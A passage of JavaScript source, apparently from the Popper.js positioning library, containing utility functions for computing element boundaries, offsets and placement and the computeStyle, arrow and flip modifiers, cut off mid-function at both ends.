    var styles = getStyleComputedProperty(element);
    horizScrollbar -= getBordersSize(styles, 'x');
    vertScrollbar -= getBordersSize(styles, 'y');

    result.width -= horizScrollbar;
    result.height -= vertScrollbar;
  }

  return getClientRect(result);
}

function getOffsetRectRelativeToArbitraryNode(children, parent) {
  var fixedPosition = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;

  var isIE10 = isIE(10);
  var isHTML = parent.nodeName === 'HTML';
  var childrenRect = getBoundingClientRect(children);
  var parentRect = getBoundingClientRect(parent);
  var scrollParent = getScrollParent(children);

  var styles = getStyleComputedProperty(parent);
  var borderTopWidth = parseFloat(styles.borderTopWidth, 10);
  var borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);

  // In cases where the parent is fixed, we must ignore negative scroll in offset calc
  if (fixedPosition && isHTML) {
    parentRect.top = Math.max(parentRect.top, 0);
    parentRect.left = Math.max(parentRect.left, 0);
  }
  var offsets = getClientRect({
    top: childrenRect.top - parentRect.top - borderTopWidth,
    left: childrenRect.left - parentRect.left - borderLeftWidth,
    width: childrenRect.width,
    height: childrenRect.height
  });
  offsets.marginTop = 0;
  offsets.marginLeft = 0;

  // Subtract margins of documentElement in case it's being used as parent
  // we do this only on HTML because it's the only element that behaves
  // differently when margins are applied to it. The margins are included in
  // the box of the documentElement, in the other cases not.
  if (!isIE10 && isHTML) {
    var marginTop = parseFloat(styles.marginTop, 10);
    var marginLeft = parseFloat(styles.marginLeft, 10);

    offsets.top -= borderTopWidth - marginTop;
    offsets.bottom -= borderTopWidth - marginTop;
    offsets.left -= borderLeftWidth - marginLeft;
    offsets.right -= borderLeftWidth - marginLeft;

    // Attach marginTop and marginLeft because in some circumstances we may need them
    offsets.marginTop = marginTop;
    offsets.marginLeft = marginLeft;
  }

  if (isIE10 && !fixedPosition ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') {
    offsets = includeScroll(offsets, parent);
  }

  return offsets;
}

function getViewportOffsetRectRelativeToArtbitraryNode(element) {
  var excludeScroll = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;

  var html = element.ownerDocument.documentElement;
  var relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);
  var width = Math.max(html.clientWidth, window.innerWidth || 0);
  var height = Math.max(html.clientHeight, window.innerHeight || 0);

  var scrollTop = !excludeScroll ? getScroll(html) : 0;
  var scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;

  var offset = {
    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,
    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,
    width: width,
    height: height
  };

  return getClientRect(offset);
}

/**
 * Check if the given element is fixed or is inside a fixed parent
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @argument {Element} customContainer
 * @returns {Boolean} answer to "isFixed?"
 */
function isFixed(element) {
  var nodeName = element.nodeName;
  if (nodeName === 'BODY' || nodeName === 'HTML') {
    return false;
  }
  if (getStyleComputedProperty(element, 'position') === 'fixed') {
    return true;
  }
  return isFixed(getParentNode(element));
}

/**
 * Finds the first parent of an element that has a transformed property defined
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} first transformed parent or documentElement
 */

function getFixedPositionOffsetParent(element) {
  // This check is needed to avoid errors in case one of the elements isn't defined for any reason
  if (!element || !element.parentElement || isIE()) {
    return document.documentElement;
  }
  var el = element.parentElement;
  while (el && getStyleComputedProperty(el, 'transform') === 'none') {
    el = el.parentElement;
  }
  return el || document.documentElement;
}

/**
 * Computed the boundaries limits and return them
 * @method
 * @memberof Popper.Utils
 * @param {HTMLElement} popper
 * @param {HTMLElement} reference
 * @param {number} padding
 * @param {HTMLElement} boundariesElement - Element used to define the boundaries
 * @param {Boolean} fixedPosition - Is in fixed position mode
 * @returns {Object} Coordinates of the boundaries
 */
function getBoundaries(popper, reference, padding, boundariesElement) {
  var fixedPosition = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false;

  // NOTE: 1 DOM access here

  var boundaries = { top: 0, left: 0 };
  var offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);

  // Handle viewport case
  if (boundariesElement === 'viewport') {
    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);
  } else {
    // Handle other cases based on DOM element used as boundaries
    var boundariesNode = void 0;
    if (boundariesElement === 'scrollParent') {
      boundariesNode = getScrollParent(getParentNode(reference));
      if (boundariesNode.nodeName === 'BODY') {
        boundariesNode = popper.ownerDocument.documentElement;
      }
    } else if (boundariesElement === 'window') {
      boundariesNode = popper.ownerDocument.documentElement;
    } else {
      boundariesNode = boundariesElement;
    }

    var offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent, fixedPosition);

    // In case of HTML, we need a different computation
    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {
      var _getWindowSizes = getWindowSizes(popper.ownerDocument),
          height = _getWindowSizes.height,
          width = _getWindowSizes.width;

      boundaries.top += offsets.top - offsets.marginTop;
      boundaries.bottom = height + offsets.top;
      boundaries.left += offsets.left - offsets.marginLeft;
      boundaries.right = width + offsets.left;
    } else {
      // for all the other DOM elements, this one is good
      boundaries = offsets;
    }
  }

  // Add paddings
  padding = padding || 0;
  var isPaddingNumber = typeof padding === 'number';
  boundaries.left += isPaddingNumber ? padding : padding.left || 0;
  boundaries.top += isPaddingNumber ? padding : padding.top || 0;
  boundaries.right -= isPaddingNumber ? padding : padding.right || 0;
  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0;

  return boundaries;
}

function getArea(_ref) {
  var width = _ref.width,
      height = _ref.height;

  return width * height;
}

/**
 * Utility used to transform the `auto` placement to the placement with more
 * available space.
 * @method
 * @memberof Popper.Utils
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function computeAutoPlacement(placement, refRect, popper, reference, boundariesElement) {
  var padding = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 0;

  if (placement.indexOf('auto') === -1) {
    return placement;
  }

  var boundaries = getBoundaries(popper, reference, padding, boundariesElement);

  var rects = {
    top: {
      width: boundaries.width,
      height: refRect.top - boundaries.top
    },
    right: {
      width: boundaries.right - refRect.right,
      height: boundaries.height
    },
    bottom: {
      width: boundaries.width,
      height: boundaries.bottom - refRect.bottom
    },
    left: {
      width: refRect.left - boundaries.left,
      height: boundaries.height
    }
  };

  var sortedAreas = Object.keys(rects).map(function (key) {
    return _extends({
      key: key
    }, rects[key], {
      area: getArea(rects[key])
    });
  }).sort(function (a, b) {
    return b.area - a.area;
  });

  var filteredAreas = sortedAreas.filter(function (_ref2) {
    var width = _ref2.width,
        height = _ref2.height;
    return width >= popper.clientWidth && height >= popper.clientHeight;
  });

  var computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key;

  var variation = placement.split('-')[1];

  return computedPlacement + (variation ? '-' + variation : '');
}

/**
 * Get offsets to the reference element
 * @method
 * @memberof Popper.Utils
 * @param {Object} state
 * @param {Element} popper - the popper element
 * @param {Element} reference - the reference element (the popper will be relative to this)
 * @param {Element} fixedPosition - is in fixed position mode
 * @returns {Object} An object containing the offsets which will be applied to the popper
 */
function getReferenceOffsets(state, popper, reference) {
  var fixedPosition = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null;

  var commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);
  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);
}

/**
 * Get the outer sizes of the given element (offset size + margins)
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Object} object containing width and height properties
 */
function getOuterSizes(element) {
  var window = element.ownerDocument.defaultView;
  var styles = window.getComputedStyle(element);
  var x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);
  var y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);
  var result = {
    width: element.offsetWidth + y,
    height: element.offsetHeight + x
  };
  return result;
}

/**
 * Get the opposite placement of the given one
 * @method
 * @memberof Popper.Utils
 * @argument {String} placement
 * @returns {String} flipped placement
 */
function getOppositePlacement(placement) {
  var hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };
  return placement.replace(/left|right|bottom|top/g, function (matched) {
    return hash[matched];
  });
}

/**
 * Get offsets to the popper
 * @method
 * @memberof Popper.Utils
 * @param {Object} position - CSS position the Popper will get applied
 * @param {HTMLElement} popper - the popper element
 * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)
 * @param {String} placement - one of the valid placement options
 * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper
 */
function getPopperOffsets(popper, referenceOffsets, placement) {
  placement = placement.split('-')[0];

  // Get popper node sizes
  var popperRect = getOuterSizes(popper);

  // Add position, width and height to our offsets object
  var popperOffsets = {
    width: popperRect.width,
    height: popperRect.height
  };

  // depending by the popper placement we have to compute its offsets slightly differently
  var isHoriz = ['right', 'left'].indexOf(placement) !== -1;
  var mainSide = isHoriz ? 'top' : 'left';
  var secondarySide = isHoriz ? 'left' : 'top';
  var measurement = isHoriz ? 'height' : 'width';
  var secondaryMeasurement = !isHoriz ? 'height' : 'width';

  popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2;
  if (placement === secondarySide) {
    popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];
  } else {
    popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)];
  }

  return popperOffsets;
}

/**
 * Mimics the `find` method of Array
 * @method
 * @memberof Popper.Utils
 * @argument {Array} arr
 * @argument prop
 * @argument value
 * @returns index or -1
 */
function find(arr, check) {
  // use native find if supported
  if (Array.prototype.find) {
    return arr.find(check);
  }

  // use `filter` to obtain the same behavior of `find`
  return arr.filter(check)[0];
}

/**
 * Return the index of the matching object
 * @method
 * @memberof Popper.Utils
 * @argument {Array} arr
 * @argument prop
 * @argument value
 * @returns index or -1
 */
function findIndex(arr, prop, value) {
  // use native findIndex if supported
  if (Array.prototype.findIndex) {
    return arr.findIndex(function (cur) {
      return cur[prop] === value;
    });
  }

  // use `find` + `indexOf` if `findIndex` isn't supported
  var match = find(arr, function (obj) {
    return obj[prop] === value;
  });
  return arr.indexOf(match);
}

/**
 * Loop trough the list of modifiers and run them in order,
 * each of them will then edit the data object.
 * @method
 * @memberof Popper.Utils
 * @param {dataObject} data
 * @param {Array} modifiers
 * @param {String} ends - Optional modifier name used as stopper
 * @returns {dataObject}
 */
function runModifiers(modifiers, data, ends) {
  var modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends));

  modifiersToRun.forEach(function (modifier) {
    if (modifier['function']) {
      // eslint-disable-line dot-notation
      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');
    }
    var fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation
    if (modifier.enabled && isFunction(fn)) {
      // Add properties to offsets to make them a complete clientRect object
      // we do this before each modifier to make sure the previous one doesn't
      // mess with these values
      data.offsets.popper = getClientRect(data.offsets.popper);
      data.offsets.reference = getClientRect(data.offsets.reference);

      data = fn(data, modifier);
    }
  });

  return data;
}

/**
 * Updates the position of the popper, computing the new offsets and applying
 * the new style.<br />
 * Prefer `scheduleUpdate` over `update` because of performance reasons.
 * @method
 * @memberof Popper
 */
function update() {
  // if popper is destroyed, don't perform any further update
  if (this.state.isDestroyed) {
    return;
  }

  var data = {
    instance: this,
    styles: {},
    arrowStyles: {},
    attributes: {},
    flipped: false,
    offsets: {}
  };

  // compute reference element offsets
  data.offsets.reference = getReferenceOffsets(this.state, this.popper, this.reference, this.options.positionFixed);

  // compute auto placement, store placement inside the data object,
  // modifiers will be able to edit `placement` if needed
  // and refer to originalPlacement to know the original value
  data.placement = computeAutoPlacement(this.options.placement, data.offsets.reference, this.popper, this.reference, this.options.modifiers.flip.boundariesElement, this.options.modifiers.flip.padding);

  // store the computed placement inside `originalPlacement`
  data.originalPlacement = data.placement;

  data.positionFixed = this.options.positionFixed;

  // compute the popper offsets
  data.offsets.popper = getPopperOffsets(this.popper, data.offsets.reference, data.placement);

  data.offsets.popper.position = this.options.positionFixed ? 'fixed' : 'absolute';

  // run the modifiers
  data = runModifiers(this.modifiers, data);

  // the first `update` will call `onCreate` callback
  // the other ones will call `onUpdate` callback
  if (!this.state.isCreated) {
    this.state.isCreated = true;
    this.options.onCreate(data);
  } else {
    this.options.onUpdate(data);
  }
}

/**
 * Helper used to know if the given modifier is enabled.
 * @method
 * @memberof Popper.Utils
 * @returns {Boolean}
 */
function isModifierEnabled(modifiers, modifierName) {
  return modifiers.some(function (_ref) {
    var name = _ref.name,
        enabled = _ref.enabled;
    return enabled && name === modifierName;
  });
}

/**
 * Get the prefixed supported property name
 * @method
 * @memberof Popper.Utils
 * @argument {String} property (camelCase)
 * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)
 */
function getSupportedPropertyName(property) {
  var prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];
  var upperProp = property.charAt(0).toUpperCase() + property.slice(1);

  for (var i = 0; i < prefixes.length; i++) {
    var prefix = prefixes[i];
    var toCheck = prefix ? '' + prefix + upperProp : property;
    if (typeof document.body.style[toCheck] !== 'undefined') {
      return toCheck;
    }
  }
  return null;
}

/**
 * Destroys the popper.
 * @method
 * @memberof Popper
 */
function destroy() {
  this.state.isDestroyed = true;

  // touch DOM only if `applyStyle` modifier is enabled
  if (isModifierEnabled(this.modifiers, 'applyStyle')) {
    this.popper.removeAttribute('x-placement');
    this.popper.style.position = '';
    this.popper.style.top = '';
    this.popper.style.left = '';
    this.popper.style.right = '';
    this.popper.style.bottom = '';
    this.popper.style.willChange = '';
    this.popper.style[getSupportedPropertyName('transform')] = '';
  }

  this.disableEventListeners();

  // remove the popper if user explicity asked for the deletion on destroy
  // do not use `remove` because IE11 doesn't support it
  if (this.options.removeOnDestroy) {
    this.popper.parentNode.removeChild(this.popper);
  }
  return this;
}

/**
 * Get the window associated with the element
 * @argument {Element} element
 * @returns {Window}
 */
function getWindow(element) {
  var ownerDocument = element.ownerDocument;
  return ownerDocument ? ownerDocument.defaultView : window;
}

function attachToScrollParents(scrollParent, event, callback, scrollParents) {
  var isBody = scrollParent.nodeName === 'BODY';
  var target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;
  target.addEventListener(event, callback, { passive: true });

  if (!isBody) {
    attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents);
  }
  scrollParents.push(target);
}

/**
 * Setup needed event listeners used to update the popper position
 * @method
 * @memberof Popper.Utils
 * @private
 */
function setupEventListeners(reference, options, state, updateBound) {
  // Resize event listener on window
  state.updateBound = updateBound;
  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });

  // Scroll event listener on scroll parents
  var scrollElement = getScrollParent(reference);
  attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents);
  state.scrollElement = scrollElement;
  state.eventsEnabled = true;

  return state;
}

/**
 * It will add resize/scroll events and start recalculating
 * position of the popper element when they are triggered.
 * @method
 * @memberof Popper
 */
function enableEventListeners() {
  if (!this.state.eventsEnabled) {
    this.state = setupEventListeners(this.reference, this.options, this.state, this.scheduleUpdate);
  }
}

/**
 * Remove event listeners used to update the popper position
 * @method
 * @memberof Popper.Utils
 * @private
 */
function removeEventListeners(reference, state) {
  // Remove resize event listener on window
  getWindow(reference).removeEventListener('resize', state.updateBound);

  // Remove scroll event listener on scroll parents
  state.scrollParents.forEach(function (target) {
    target.removeEventListener('scroll', state.updateBound);
  });

  // Reset state
  state.updateBound = null;
  state.scrollParents = [];
  state.scrollElement = null;
  state.eventsEnabled = false;
  return state;
}

/**
 * It will remove resize/scroll events and won't recalculate popper position
 * when they are triggered. It also won't trigger `onUpdate` callback anymore,
 * unless you call `update` method manually.
 * @method
 * @memberof Popper
 */
function disableEventListeners() {
  if (this.state.eventsEnabled) {
    cancelAnimationFrame(this.scheduleUpdate);
    this.state = removeEventListeners(this.reference, this.state);
  }
}

/**
 * Tells if a given input is a number
 * @method
 * @memberof Popper.Utils
 * @param {*} input to check
 * @return {Boolean}
 */
function isNumeric(n) {
  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);
}

/**
 * Set the style to the given popper
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element - Element to apply the style to
 * @argument {Object} styles
 * Object with a list of properties and values which will be applied to the element
 */
function setStyles(element, styles) {
  Object.keys(styles).forEach(function (prop) {
    var unit = '';
    // add unit if the value is numeric and is one of the following
    if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) {
      unit = 'px';
    }
    element.style[prop] = styles[prop] + unit;
  });
}

/**
 * Set the attributes to the given popper
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element - Element to apply the attributes to
 * @argument {Object} styles
 * Object with a list of properties and values which will be applied to the element
 */
function setAttributes(element, attributes) {
  Object.keys(attributes).forEach(function (prop) {
    var value = attributes[prop];
    if (value !== false) {
      element.setAttribute(prop, attributes[prop]);
    } else {
      element.removeAttribute(prop);
    }
  });
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} data.styles - List of style properties - values to apply to popper element
 * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The same data object
 */
function applyStyle(data) {
  // any property present in `data.styles` will be applied to the popper,
  // in this way we can make the 3rd party modifiers add custom styles to it
  // Be aware, modifiers could override the properties defined in the previous
  // lines of this modifier!
  setStyles(data.instance.popper, data.styles);

  // any property present in `data.attributes` will be applied to the popper,
  // they will be set as HTML attributes of the element
  setAttributes(data.instance.popper, data.attributes);

  // if arrowElement is defined and arrowStyles has some properties
  if (data.arrowElement && Object.keys(data.arrowStyles).length) {
    setStyles(data.arrowElement, data.arrowStyles);
  }

  return data;
}

/**
 * Set the x-placement attribute before everything else because it could be used
 * to add margins to the popper margins needs to be calculated to get the
 * correct popper offsets.
 * @method
 * @memberof Popper.modifiers
 * @param {HTMLElement} reference - The reference element used to position the popper
 * @param {HTMLElement} popper - The HTML element used as popper
 * @param {Object} options - Popper.js options
 */
function applyStyleOnLoad(reference, popper, options, modifierOptions, state) {
  // compute reference element offsets
  var referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);

  // compute auto placement, store placement inside the data object,
  // modifiers will be able to edit `placement` if needed
  // and refer to originalPlacement to know the original value
  var placement = computeAutoPlacement(options.placement, referenceOffsets, popper, reference, options.modifiers.flip.boundariesElement, options.modifiers.flip.padding);

  popper.setAttribute('x-placement', placement);

  // Apply `position` to popper before anything else because
  // without the position applied we can't guarantee correct computations
  setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });

  return options;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function computeStyle(data, options) {
  var x = options.x,
      y = options.y;
  var popper = data.offsets.popper;

  // Remove this legacy support in Popper.js v2

  var legacyGpuAccelerationOption = find(data.instance.modifiers, function (modifier) {
    return modifier.name === 'applyStyle';
  }).gpuAcceleration;
  if (legacyGpuAccelerationOption !== undefined) {
    console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');
  }
  var gpuAcceleration = legacyGpuAccelerationOption !== undefined ? legacyGpuAccelerationOption : options.gpuAcceleration;

  var offsetParent = getOffsetParent(data.instance.popper);
  var offsetParentRect = getBoundingClientRect(offsetParent);

  // Styles
  var styles = {
    position: popper.position
  };

  // Avoid blurry text by using full pixel integers.
  // For pixel-perfect positioning, top/bottom prefers rounded
  // values, while left/right prefers floored values.
  var offsets = {
    left: Math.floor(popper.left),
    top: Math.round(popper.top),
    bottom: Math.round(popper.bottom),
    right: Math.floor(popper.right)
  };

  var sideA = x === 'bottom' ? 'top' : 'bottom';
  var sideB = y === 'right' ? 'left' : 'right';

  // if gpuAcceleration is set to `true` and transform is supported,
  //  we use `translate3d` to apply the position to the popper we
  // automatically use the supported prefixed version if needed
  var prefixedProperty = getSupportedPropertyName('transform');

  // now, let's make a step back and look at this code closely (wtf?)
  // If the content of the popper grows once it's been positioned, it
  // may happen that the popper gets misplaced because of the new content
  // overflowing its reference element
  // To avoid this problem, we provide two options (x and y), which allow
  // the consumer to define the offset origin.
  // If we position a popper on top of a reference element, we can set
  // `x` to `top` to make the popper grow towards its top instead of
  // its bottom.
  var left = void 0,
      top = void 0;
  if (sideA === 'bottom') {
    // when offsetParent is <html> the positioning is relative to the bottom of the screen (excluding the scrollbar)
    // and not the bottom of the html element
    if (offsetParent.nodeName === 'HTML') {
      top = -offsetParent.clientHeight + offsets.bottom;
    } else {
      top = -offsetParentRect.height + offsets.bottom;
    }
  } else {
    top = offsets.top;
  }
  if (sideB === 'right') {
    if (offsetParent.nodeName === 'HTML') {
      left = -offsetParent.clientWidth + offsets.right;
    } else {
      left = -offsetParentRect.width + offsets.right;
    }
  } else {
    left = offsets.left;
  }
  if (gpuAcceleration && prefixedProperty) {
    styles[prefixedProperty] = 'translate3d(' + left + 'px, ' + top + 'px, 0)';
    styles[sideA] = 0;
    styles[sideB] = 0;
    styles.willChange = 'transform';
  } else {
    // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties
    var invertTop = sideA === 'bottom' ? -1 : 1;
    var invertLeft = sideB === 'right' ? -1 : 1;
    styles[sideA] = top * invertTop;
    styles[sideB] = left * invertLeft;
    styles.willChange = sideA + ', ' + sideB;
  }

  // Attributes
  var attributes = {
    'x-placement': data.placement
  };

  // Update `data` attributes, styles and arrowStyles
  data.attributes = _extends({}, attributes, data.attributes);
  data.styles = _extends({}, styles, data.styles);
  data.arrowStyles = _extends({}, data.offsets.arrow, data.arrowStyles);

  return data;
}

/**
 * Helper used to know if the given modifier depends from another one.<br />
 * It checks if the needed modifier is listed and enabled.
 * @method
 * @memberof Popper.Utils
 * @param {Array} modifiers - list of modifiers
 * @param {String} requestingName - name of requesting modifier
 * @param {String} requestedName - name of requested modifier
 * @returns {Boolean}
 */
function isModifierRequired(modifiers, requestingName, requestedName) {
  var requesting = find(modifiers, function (_ref) {
    var name = _ref.name;
    return name === requestingName;
  });

  var isRequired = !!requesting && modifiers.some(function (modifier) {
    return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order;
  });

  if (!isRequired) {
    var _requesting = '`' + requestingName + '`';
    var requested = '`' + requestedName + '`';
    console.warn(requested + ' modifier is required by ' + _requesting + ' modifier in order to work, be sure to include it before ' + _requesting + '!');
  }
  return isRequired;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function arrow(data, options) {
  var _data$offsets$arrow;

  // arrow depends on keepTogether in order to work
  if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {
    return data;
  }

  var arrowElement = options.element;

  // if arrowElement is a string, suppose it's a CSS selector
  if (typeof arrowElement === 'string') {
    arrowElement = data.instance.popper.querySelector(arrowElement);

    // if arrowElement is not found, don't run the modifier
    if (!arrowElement) {
      return data;
    }
  } else {
    // if the arrowElement isn't a query selector we must check that the
    // provided DOM node is child of its popper node
    if (!data.instance.popper.contains(arrowElement)) {
      console.warn('WARNING: `arrow.element` must be child of its popper element!');
      return data;
    }
  }

  var placement = data.placement.split('-')[0];
  var _data$offsets = data.offsets,
      popper = _data$offsets.popper,
      reference = _data$offsets.reference;

  var isVertical = ['left', 'right'].indexOf(placement) !== -1;

  var len = isVertical ? 'height' : 'width';
  var sideCapitalized = isVertical ? 'Top' : 'Left';
  var side = sideCapitalized.toLowerCase();
  var altSide = isVertical ? 'left' : 'top';
  var opSide = isVertical ? 'bottom' : 'right';
  var arrowElementSize = getOuterSizes(arrowElement)[len];

  //
  // extends keepTogether behavior making sure the popper and its
  // reference have enough pixels in conjunction
  //

  // top/left side
  if (reference[opSide] - arrowElementSize < popper[side]) {
    data.offsets.popper[side] -= popper[side] - (reference[opSide] - arrowElementSize);
  }
  // bottom/right side
  if (reference[side] + arrowElementSize > popper[opSide]) {
    data.offsets.popper[side] += reference[side] + arrowElementSize - popper[opSide];
  }
  data.offsets.popper = getClientRect(data.offsets.popper);

  // compute center of the popper
  var center = reference[side] + reference[len] / 2 - arrowElementSize / 2;

  // Compute the sideValue using the updated popper offsets
  // take popper margin in account because we don't have this info available
  var css = getStyleComputedProperty(data.instance.popper);
  var popperMarginSide = parseFloat(css['margin' + sideCapitalized], 10);
  var popperBorderSide = parseFloat(css['border' + sideCapitalized + 'Width'], 10);
  var sideValue = center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;

  // prevent arrowElement from being placed not contiguously to its popper
  sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);

  data.arrowElement = arrowElement;
  data.offsets.arrow = (_data$offsets$arrow = {}, defineProperty(_data$offsets$arrow, side, Math.round(sideValue)), defineProperty(_data$offsets$arrow, altSide, ''), _data$offsets$arrow);

  return data;
}

/**
 * Get the opposite placement variation of the given one
 * @method
 * @memberof Popper.Utils
 * @argument {String} placement variation
 * @returns {String} flipped placement variation
 */
function getOppositeVariation(variation) {
  if (variation === 'end') {
    return 'start';
  } else if (variation === 'start') {
    return 'end';
  }
  return variation;
}

/**
 * List of accepted placements to use as values of the `placement` option.<br />
 * Valid placements are:
 * - `auto`
 * - `top`
 * - `right`
 * - `bottom`
 * - `left`
 *
 * Each placement can have a variation from this list:
 * - `-start`
 * - `-end`
 *
 * Variations are interpreted easily if you think of them as the left to right
 * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`
 * is right.<br />
 * Vertically (`left` and `right`), `start` is top and `end` is bottom.
 *
 * Some valid examples are:
 * - `top-end` (on top of reference, right aligned)
 * - `right-start` (on right of reference, top aligned)
 * - `bottom` (on bottom, centered)
 * - `auto-end` (on the side with more space available, alignment depends by placement)
 *
 * @static
 * @type {Array}
 * @enum {String}
 * @readonly
 * @method placements
 * @memberof Popper
 */
var placements = ['auto-start', 'auto', 'auto-end', 'top-start', 'top', 'top-end', 'right-start', 'right', 'right-end', 'bottom-end', 'bottom', 'bottom-start', 'left-end', 'left', 'left-start'];

// Get rid of `auto` `auto-start` and `auto-end`
var validPlacements = placements.slice(3);

/**
 * Given an initial placement, returns all the subsequent placements
 * clockwise (or counter-clockwise).
 *
 * @method
 * @memberof Popper.Utils
 * @argument {String} placement - A valid placement (it accepts variations)
 * @argument {Boolean} counter - Set to true to walk the placements counterclockwise
 * @returns {Array} placements including their variations
 */
function clockwise(placement) {
  var counter = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;

  var index = validPlacements.indexOf(placement);
  var arr = validPlacements.slice(index + 1).concat(validPlacements.slice(0, index));
  return counter ? arr.reverse() : arr;
}

var BEHAVIORS = {
  FLIP: 'flip',
  CLOCKWISE: 'clockwise',
  COUNTERCLOCKWISE: 'counterclockwise'
};

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function flip(data, options) {
  // if `inner` modifier is enabled, we can't use the `flip` modifier
  if (isModifierEnabled(data.instance.modifiers, 'inner')) {
    return data;
  }

  if (data.flipped && data.placement === data.originalPlacement) {
    // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides
    return data;
  }

  var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, options.boundariesElement, data.positionFixed);

  var placement = data.placement.split('-')[0];
  var placementOpposite = getOppositePlacement(placement);
  var variation = data.placement.split('-')[1] || '';

  var flipOrder = [];

  switch (options.behavior) {
    case BEHAVIORS.FLIP:
      flipOrder = [placement, placementOpposite];
      break;
    case BEHAVIORS.CLOCKWISE:
      flipOrder = clockwise(placement);
      break;
    case BEHAVIORS.COUNTERCLOCKWISE:
      flipOrder = clockwise(placement, true);
      break;
    default:
      flipOrder = options.behavior;
  }

  flipOrder.forEach(function (step, index) {
    if (placement !== step || flipOrder.length === index + 1) {
      return data;
    }

    placement = data.placement.split('-')[0];
    placementOpposite = getOppositePlacement(placement);

    var popperOffsets = data.offsets.popper;
    var refOffsets = data.offsets.reference;

    // using floor because the reference offsets may contain decimals we are not going to consider here
    var floor = Math.floor;
    var overlapsRef = placement === 'left' && floor(popperOffsets.right) > floor(refOffsets.left) || placement === 'right' && floor(popperOffsets.left) < floor(refOffsets.right) || placement === 'top' && floor(popperOffsets.bottom) > floor(refOffsets.top) || placement === 'bottom' && floor(popperOffsets.top) < floor(refOffsets.bottom);

    var overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);
    var overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);
    var overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);
    var overflowsBottom = floor(popperOffsets.bottom) > floor(boundaries.bottom);

    var overflowsBoundaries = placement === 'left' && overflowsLeft || placement === 'right' && overflowsRight || placement === 'top' && overflowsTop || placement === 'bottom' && overflowsBottom;

    // flip the variation if required
    var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;
    var flippedVariation = !!options.flipVariations && (isVertical && variation === 'start' && overflowsLeft || isVertical && variation === 'end' && overflowsRight || !isVertical && variation === 'start' && overflowsTop || !isVertical && variation === 'end' && overflowsBottom);

    if (overlapsRef || overflowsBoundaries || flippedVariation) {
      // this boolean to detect any flip loop
      data.flipped = true;

      if (overlapsRef || overflowsBoundaries) {
        placement = flipOrder[index + 1];
